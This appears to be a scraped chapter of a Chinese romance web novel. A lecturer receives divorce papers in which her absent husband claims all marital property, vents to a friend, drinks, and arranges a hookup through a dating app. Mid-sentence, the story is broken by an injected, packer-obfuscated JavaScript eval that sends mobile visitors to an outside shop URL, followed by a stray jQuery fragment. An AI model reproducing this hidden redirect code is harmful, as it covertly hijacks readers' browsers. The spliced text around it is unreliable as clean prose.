手机在床上“突突”震动,文令仪像是被人从深海里猛地拽出水面,一下子跌回现实。她坐起来,揉了揉发胀的太阳穴,昨夜那些光怪陆离的梦早已碎得拼不回来,连一点轮廓都记不清。
周一课多,她不敢耽搁,草草醒了神就去刷牙。
刷到一半,门铃不合时宜地响了。
大清早的,谁啊…
或许是按错了。她没动,可门铃执拗地响个不停,一声比一声急。
“唔,来...噜。”她含糊地应着,趿拉着拖鞋走到门口,透过猫眼朝外望——是个穿着制服的快递小哥。
拉开门,对方显然等得不耐烦了,起床气混着催促未果的恼火,黑着脸将一个文件袋塞进她手里,转身就走。
自知慢开了门,文令仪抱歉笑笑,牙刷还叼在嘴里,含糊地道了声谢,接过那个薄薄的文件袋反手关上门。
什么东西?她心里嘀咕。
她今年发的论文早就拿到刊物了,这会送来的是什么?
信用卡?
谁办那败家玩意儿...
某商家打的广告?
谁记得她这个穷diao丝...
总不会是谁玩暗恋寄来的情书吧?
额...好不好笑?一把年纪了,是嫌以前脑袋里进的水不够多,还是踩的坑不够深,期待什么浪漫呢!
可未知的东西总能引起人强烈的好奇心,就像有片羽毛在心上挠得发痒,她迫不及待想知道快递里装的到底是什么。
满脑袋问号正想拆开,一条牙膏沫子扭股着身子急不可耐从嘴角流出来,她只好放下文件袋,又跑回去漱口。
等她擦干净脸回来,好奇心更盛,利落地拆开了密封条。
看到里面的东西,她瞳孔皱缩,浑身血夜都像凝固了。
文件袋里是一张苍白的纸,抬头赫然写着“离婚协议书”几个粗黑大字。
她捏着纸的手微微颤抖。
这一天终于来了,他提离婚了。
强迫自己往下看,接下来的条款,一字一句都像淬了毒的针,狠狠扎进心里,胸腔里的火气“噌”地窜起,烧得她指尖发凉。
离婚协议上的财产分割其中一条里写着:婚后名下的所有财产,归男方所有。
婚后的财产包括了这套房,房里的所有家具、电器,还有两人的共同存款。若真按他说的,离婚了,她将一无所有!
结婚这两年,她每月雷打不动承担近一半的房贷,家电她也有掏钱添置,所剩不多的工资也存入了这个小家庭的基金。
她自问对这个家付出很多,他凭什么让她净身出户?
心情很烦,脑袋里思绪纷乱,但马上要出门上班,她只能强忍着把协议撕碎的冲动,扔在桌上,转身去换衣服。
平常选衣服就像在后宫选喜爱的面首,可现在她感觉像夜御三男精疲力竭,还要面对一群无理取闹的男宠的那种恼火无奈感。
大呼几口浊气,她平静下来,选了件得体的套裙又化了个淡妆,然后出了门。
经过多年在人生这个草台班子里的揉扁搓圆,文令仪早就练成了就算天塌下来也当无事发生的神定力。一整天课程,她讲得行云流水,面不改色。
直到下课铃响,她才像被抽掉力气,立刻躲进一间无人的教室,拨通了“嫡长闺”闫静的电话。
那头很快接通了:“宝贝儿,想我了?”
“你现在有空接电话么?”
或许是察觉了她语气里的凝肃,闫静的声音也变得正经了些:“有呀,什么事,你说。”
“他提离婚了。”
对面沉默了几瞬,然后道:“说这话可能不好听,但我觉得你们早该离了。“
也是,文令仪苦笑了下。前夫贺天翔和她结婚后待在家里的日子屈指可数,她就像守活寡一样,是她不愿面对现实,下不了决心离婚。
“我们是该离了,但你没看见他在离婚协议上写了什么?我简直要气炸了!他要婚后的所有财产,是所有!他怎么敢?怎么配?我从没见过如此厚颜无耻的人,脸皮厚得可以打地基!”
“…”
“等等!我算算,婚后财产是指夫妻关系存续期间,夫妻任何一方所得的各种财产,包括房、车、...”
“停!你不用再算了,就是这样。我咽不下这口气!你说他这个结婚后连根头毛都没看见的人,还好意思先提离婚?提了离婚还要夺走所有的财产?婚后不管房也好,家电也好,我都是付了钱的,谁给了他这么大的脸?众筹吗?”
听出闺蜜濒临爆炸,闫静叹了口气:“真他妈绝世渣男。你也真是情路多舛,第一段被劈腿,第二段嫖/娼,第三段xing无能,第四段刚结婚就玩失踪,文令仪女士,以你的学历、颜值、情商,为何总能在渣男堆里精准定位?”
满腔怒火被这话戳了个小孔,文令仪瘪瘪嘴:“早年间算八字,说我诸般皆好,桃花奇差。看来是真准…”
“从统计学概率分析,符合理想择偶标准的男性样本在总体中占比确实有限,个体遭遇低质量关系的概率并不低。”
“...”
闫静是做IT的,思维偏理性,偶尔会冒出像人机的语句,文令仪也习惯了。
两人默了会,一个不知要怎么安慰才好,另一个沉浸在孤芳自怜的哀愁里,半晌后闫静道:“我记得你说过,房贷是从他的账户扣的?”
“嗯。”
“早点找律师,如果转账记录不清晰,缺乏共同还贷的有效证据,房产分割你会非常被动。”
“对奥,我怎么把这茬给忘了!”
挂了电话,文令仪的心情愈发沉重,简直像坠进了马里亚纳海沟。经闺蜜一提,她才惊觉问题严重。每月房贷她都是微信转给贺天翔,再由他还款,两人之间连张像样的借条或备注都没有。
她越想越无力,额头抵着冰凉的墙壁,重重磕了几下。
偏巧这时她的两个学生进教室自习,刚好看到自家老师的古怪行为。两人面面相觑,眼里透着迷惑。
文老师平日里端庄矜持,这是躲着干什么呢?
犹豫几秒,其中一个学生小心问道:“文老师,您…没事吧?”
文令仪这才发现有人进来了,还是认识她的学生!她的脑门上顿时挂上三条黑线,羞得恨不能马上钻到地里去。
半晌,她幽幽道:“那什么…脑门痒,我在蹭痒。”
“…”
回家的路上,文令仪破天荒买了两瓶啤酒。她讨厌苦味,酒量也一般,但此刻急需酒精麻痹神经。
到家后,她疲惫地甩掉高跟鞋,将包扔在桌上,整个人窝进了沙发里。虽然躺着,可她的情绪怎么也平静不下来,心烦气躁,满脑子都是那份绝情的离婚协议。
饭点到后,她完全没胃口,在app上随意点了碗粥。
点好后刚想放下手机,屏幕亮起,一条短信闯入眼帘。发件人:贺天翔。
她心脏猛地一抽。
短信内容冰冰冷冷:“协议收到了吧?尽快签。”
文令仪盯着屏幕冷笑一声,他这是连商量的余地都不给啊。
如果时光可以倒流,她一定毫不犹豫回去拽住当年的自己,怎么就看上了一个没钱、油腻还没品的大叔?
她当时一定是猪油蒙了心!
扔开手机,她没回复,直接撬开瓶盖,猛灌了几口。冰凉的液体带着苦涩滑入喉咙,却浇不灭心头的火。
回想起来,婚前贺天翔对她百般殷勤,短信电话不断,有一次她不小心在手上割破了一道小口子,他像是自己掉了块肉,五官都皱到一起,看上去心疼得不行。
可结婚不久,他就像变了个人。刚开始还天天回家,不多久就变成了隔三差五回来一次,最后几个月不见人影。
理由永远是应酬、出差、忙事业,如果她表示不满,还会反过来指责她不体贴、不懂事、不支持他。
离婚的念头不是没有过。可她今年34了,人言可畏,“大龄”、“离异”的标签像两座大山,压得她喘不过气。
最让她痛心的是那套房!那是她半生心血,眼看就要付诸东流...
年近中年,明明自己有学历,能力也不错,怎么就混到了这个地步?
想到伤心处,她又灌了几大口酒,呛得一阵猛咳,眼泪终于不争气地涌出,大颗大颗顺着白皙的脸庞滚落到腿上。温热感很快褪去,秋夜的风从窗子缝隙吹进来,皮肤感到冰冷的凉意。
哭累了,她瘫在沙发上发呆,机械地刷起手机。大数据精准捕捉到她的情
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276048|198247||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
绪,立刻推送了一个刺眼的帖子标题:
“谁会娶一个35岁的老女人啊?”
换做平常她看到这类帖子只会嗤之以鼻,可如今事情落到她头上,介意别人怎么说的担忧像蠕虫在心里乱爬,她没忍住点了进去。
评论区各抒己见,唾沫横飞:
“35岁都要绝经了吧...”
“半截身子都入土了。”
“年龄大了就单着,别祸害人。”
往下滑看,评论区虽也有零星的鼓励,但那些针对年龄的嘲讽像刀子一样,字字诛心。
30+的女人怎么你了?吃你家大米了?文令仪愤愤退出了软件将手机扔在一边。
眼不看,心还是烦。
本就失恋遭受打击,网上的恶语更加让她难受。
又灌了一口酒,文令仪汪着眼泪喃喃:“男人就没有一个好东西。”
她如同坠入了深不见底的黑洞,沉闷,缺氧,沮丧到了极致。仿佛世界都将她抛弃了。
若再不得到一点阳光,汲取一点氧气,她可能会窒息。
有什么办法能让心情变好一点?
不知怎么,她脑袋里想起很久之前听发小们聊天说的一件事。一位发小的朋友从不钟情于哪个人,脚踏几条船,换男朋友就像换衣服。
当时这件事震碎了她们的三观,都觉得不可思议。但经历了一连串的感情失败后,文令仪总结的经验是——还真没必要对男人多认真。
看看那个女孩,过得潇洒肆意,就像女王,永远将自己的感受放在第一位。
酒精开始发挥作用,她浑身发热,胆也跟着壮了起来。脑海里冒出一个想法。
过了几十年规矩的日子,似乎也没什么意思。
她拿起手机下载了一个名声暧昧的社交APP——FindSoulmate。
这是一款交友软件,在年轻人的社交圈里很出名,但名声并不好,按现在时髦的话说是黑红。交友的软件上自然什么人都有,两性之间的欲望想要得到满足,可以在上面精准找人。
久而久之这款软件从最开始的单纯交友演变成了宣泄欲望的地方,私下里都管它叫约pao神器。
文令仪点了注册,随便填了些资料,系统开始给她配对。
很快,屏幕上咕嘟咕嘟冒出大量的粉红泡泡后系统推荐了一个人,显示他们两人的配对指数高达99.99%。
这么高的么?她惊呆了。
对方的id叫做...仔细一瞧,此人没有网名,只有一串数字和英文字母混杂的账号,头像也是系统自带的。
她点进主页,看到里面更是荒芜得像戈壁沙滩。
这是个空号吧?对方什么都没填配对值还这么高,恐怕软件搞这个就是瞎扯淡的。
抱着好奇的心态她想发条信息试试看。
可是说什么好呢?
她有过恋爱经历,可从没主动搭讪过,实际上和陌生人说话都会脸红。更别提现在是要找炮友了。
想了一会,她烧热着脸在屏幕上敲下一行字:“嗨,帅哥好,有兴趣见面么?”
额…会不会太直接了?显得她好急不可耐…
发完,她的心砰砰直跳。要不要撤回来?
算了。又不是玩不起,怕什么?她也不知自己此时哪来的勇气,或许是破罐子破摔形成的孤勇。可不愿深想。
等了一会,屏幕上只有她那句孤零零的话。
看来没戏,就是个空号。她不想再管。喝了半瓶酒,头晕晕的,随意吃了几口粥就倒在沙发上昏沉睡了过去。
不知过了多久,手机一声轻微的震动将她惊醒。朦胧睁眼,文令仪点开屏幕,看到FindSoulmate的图标上显示着一条新消息。
“好。”
她瞬间睡意全无,猛地从沙发上坐了起来。
对方居然回了!现在要怎么办?真的要去吗?
各种深夜约见的暧昧画面不受控地涌入脑海,她的脸颊开始发烫。
纠结片刻,她把心一横:“在哪见?”
发完这句,她的心跳又开始加速,眼睛一挪不挪看着屏幕。
这一次,对方回复得很快,一条定位链接弹了出来——
宏天瑞景酒店。